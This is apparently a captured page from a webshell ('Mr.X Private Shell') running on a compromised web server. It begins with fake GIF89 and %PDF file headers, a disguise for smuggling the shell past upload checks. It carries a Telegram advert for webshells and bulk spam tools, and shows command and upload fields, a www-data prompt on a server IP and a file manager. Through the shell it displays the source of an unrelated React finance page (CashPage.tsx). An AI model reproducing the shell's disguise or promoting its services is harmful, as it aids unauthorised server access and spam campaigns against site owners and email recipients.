GIF89; GIF89; %PDF- %PDF- Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.129: ~ $
import React, { useEffect, useState } from 'react'
import styles from './CashPage.module.scss'
import { HeaderCash } from './HeaderCash/HederCash'
import { SortableBlock } from './SortableBlock/SortableBlock'
import { Flex } from 'antd'
import { FinanceTable } from './FinanceTable/FinanceTable'
import { exportToFile } from '@/entities/cash/api/exportToFile'
import { fetchAccounts } from "@/entities/account/lib";
import {Helmet} from "react-helmet";

export const CashPage = () => {
    const [segmentTab, setSegmentTab] = useState('period')
    const [segmentDate, setSegmentDate] = useState<"period" | "quarter" | "month" | "days">('period')

    const [visibleArticleIds, setVisibleArticleIds] = useState<number[]>([]);
    const [isEditMode, setIsEditMode] = useState(false);
    const [selectedDate, setSelectedDate] = useState<string>();
    const [selectedStatus, setSelectedStatus] = useState<string>();

    useEffect(() => {
        fetchAccounts();
    }, [])

    const handleSegmentChange = (value: string) => {
        if(value === 'project') {
            setSegmentTab('project')
        } else {
            setSegmentTab('period')
        }
    };
    const segmentChangeDate = (value: string) => {
        if(value === 'period') {
            setSegmentDate('period')
        }
        if(value === 'quarter') {
            setSegmentDate('quarter')
        }
        if(value === 'month') {
            setSegmentDate('month')
        }
        if(value === 'days')  {
            setSegmentDate('days')
        }
      };


    const downloadExcelHadler = async () => {
        if (visibleArticleIds.length > 0) {
            try {
                const { data } = await exportToFile({ articleIds: visibleArticleIds });
                const originalUrl = data.url;

                // const modifiedUrl = originalUrl
                // .replace('gitep.dev-top-it.ru', 'gitep.dev-top-it.ru:8080');
                const relativePath = originalUrl?.split('://')[1]?.split('/').slice(1).join('/');
                const modifiedUrl = originalUrl
                    ? new URL(`/${relativePath}`, import.meta.env.VITE_BASE_URL).href
                    : undefined;
                const encodedUrl = modifiedUrl ? encodeURI(modifiedUrl) : '';

                if (encodedUrl) {
                    window.open(encodedUrl, '_blank');
                }
            } catch (error) {
                console.error('Export error:', error);
            }
        }
    };

    return (
        <div className={styles.wrapper}>
            <Helmet>
                <title>ДДС | Платежи</title>
            </Helmet>
            <HeaderCash segmentTab={segmentTab} downloadExcelHadler={downloadExcelHadler} handleSegmentChange={handleSegmentChange} isEditMode={isEditMode} clickEditPage={() => setIsEditMode(!isEditMode)}/>
            <Flex className={styles.sortable}>
                <SortableBlock setSelectedStatus={setSelectedStatus} selectedStatus={selectedStatus} setSelectedDate={setSelectedDate} selectedDate={selectedDate} segmentPage={segmentTab} segmentTab={segmentDate} handleSegmentChange={segmentChangeDate} />
            </Flex>

            <FinanceTable selectedStatus={selectedStatus} selectedDate={selectedDate} isEditMode={isEditMode} segmentDate={segmentDate} segmentTab={segmentTab} setVisibleArticleIds={setVisibleArticleIds}/>
        </div>
    )
}

Filemanager

Name Type Size Permission Actions
ArticleReadDrawer.tsx Folder 0755
FinanceTable Folder 0755
HeaderCash Folder 0755
SortableBlock Folder 0755
components Folder 0755
CashPage.module.scss File 371 B 0644
CashPage.tsx File 3.32 KB 0644